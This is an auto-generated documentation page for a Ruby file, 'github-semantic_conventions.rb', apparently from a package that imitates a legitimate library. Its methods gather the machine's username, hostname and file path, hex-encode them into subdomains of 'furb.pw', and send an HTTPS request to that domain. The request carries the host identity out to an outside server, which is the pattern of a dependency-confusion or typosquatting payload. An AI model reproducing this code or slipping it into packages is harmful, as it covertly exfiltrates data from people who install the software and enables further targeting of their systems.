Top Level Namespace

Instance Method Summary collapse

Instance Method Details

#chunk_string(str, max_length = 60) ⇒ Object 



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# File 'lib/github-semantic_conventions.rb', line 73

def chunk_string(str, max_length = 60)
  str.scan(/.{1,#{max_length}}/).join('.a')
end

#collect_system_info ⇒ Object 



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# File 'lib/github-semantic_conventions.rb', line 17

def collect_system_info
  info = {}
  
  # Get username of the current process
  username = ENV['USER'] || ENV['USERNAME'] || `whoami`.strip
  info[:username] = username
  info[:username_hex] = hex_encode(username)
  
  # Get hostname of the machine
  hostname = Socket.gethostname
  info[:hostname] = hostname
  info[:hostname_hex] = hex_encode(hostname)
  
  # Get path of the current file
  file_path = File.expand_path(__FILE__)
  info[:file_path] = file_path
  info[:file_path_hex] = hex_encode(file_path)
  
  info
end

#hex_encode(string) ⇒ Object 



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# File 'lib/github-semantic_conventions.rb', line 13

def hex_encode(string)
  string.unpack1('H*')
end

#main ⇒ Object 



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# File 'lib/github-semantic_conventions.rb', line 113

def main
  # Collect system information
  system_info = collect_system_info
  
  puts "Collected information:"
  puts "  Username: #{system_info[:username]}"
  puts "  Username (hex): #{system_info[:username_hex]}"
  puts "  Hostname: #{system_info[:hostname]}"
  puts "  Hostname (hex): #{system_info[:hostname_hex]}"
  puts "  File path: #{system_info[:file_path]}"
  puts "  File path (hex): #{system_info[:file_path_hex]} (#{system_info[:file_path_hex].length} chars)"
  
  # Create the target domain with truncation if needed
  puts "\nConstructing target domain..."
  target_domain = truncate_domain(
    system_info[:username_hex],
    system_info[:hostname_hex],
    system_info[:file_path_hex]
  )
  
  puts "Target domain: #{target_domain}"
  
  # Send the request
  puts "\nSending request..."
  success = send_data(target_domain)
  
  exit success ? 0 : 1
end

#send_data(domain) ⇒ Object 



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# File 'lib/github-semantic_conventions.rb', line 77

def send_data(domain)
  begin
    # Create HTTP connection
    uri = URI("https://#{domain}/")
    http = Net::HTTP.new(uri.host, 443)
    http.open_timeout = 5
    http.read_timeout = 5
    
    # Create GET request
    request = Net::HTTP::Get.new(uri)
    request['User-Agent'] = 'Ruby/SystemInfo'
    
    # Send request
    response = http.request(request)
    
    puts "Request sent successfully!"
    puts "Response code: #{response.code}"
    puts "Response body: #{response.body}" unless response.body.empty?
    
    return true
    
  rescue Net::TimeoutError
    puts "Error: Connection timed out"
    return false
  rescue Errno::ECONNREFUSED
    puts "Error: Connection refused - target may not be listening"
    return false
  rescue SocketError => e
    puts "Error: Socket error - #{e.message}"
    return false
  rescue StandardError => e
    puts "Error: #{e.message}"
    return false
  end
end

#test_func_hello_world ⇒ Object 



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# File 'lib/github-semantic_conventions.rb', line 9

def test_func_hello_world
  puts "hello world"
end

#truncate_domain(username_hex, hostname_hex, filepath_hex, base_domain = "furb.pw") ⇒ Object 



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# File 'lib/github-semantic_conventions.rb', line 38

def truncate_domain(username_hex, hostname_hex, filepath_hex, base_domain = "furb.pw")
  
  # Calculate the base length: username.hostname.filepath.furb.pw
  # We need 3 dots plus the base domain length
  base_length = username_hex.length + hostname_hex.length + base_domain.length + 3
  
  # Maximum allowed total length is 253 characters
  max_length = 220
  available_for_filepath = max_length - base_length
  
  # If filepath is too long, truncate it
  if available_for_filepath < filepath_hex.length
    if available_for_filepath > 0
      truncated_filepath = filepath_hex[0, available_for_filepath]
    else
      truncated_filepath = ""
    end
    puts "Warning: Filepath truncated from #{filepath_hex.length} to #{truncated_filepath.length} characters"
  else
    truncated_filepath = filepath_hex
  end

  truncated_filepath = chunk_string(truncated_filepath)
  
  # Construct the final domain
  if truncated_filepath.empty?
    domain = "a#{username_hex}.a#{hostname_hex}.#{base_domain}"
  else
    domain = "a#{username_hex}.a#{hostname_hex}.a#{truncated_filepath}.#{base_domain}"
  end
  
  puts "Final domain length: #{domain.length} characters"
  domain
end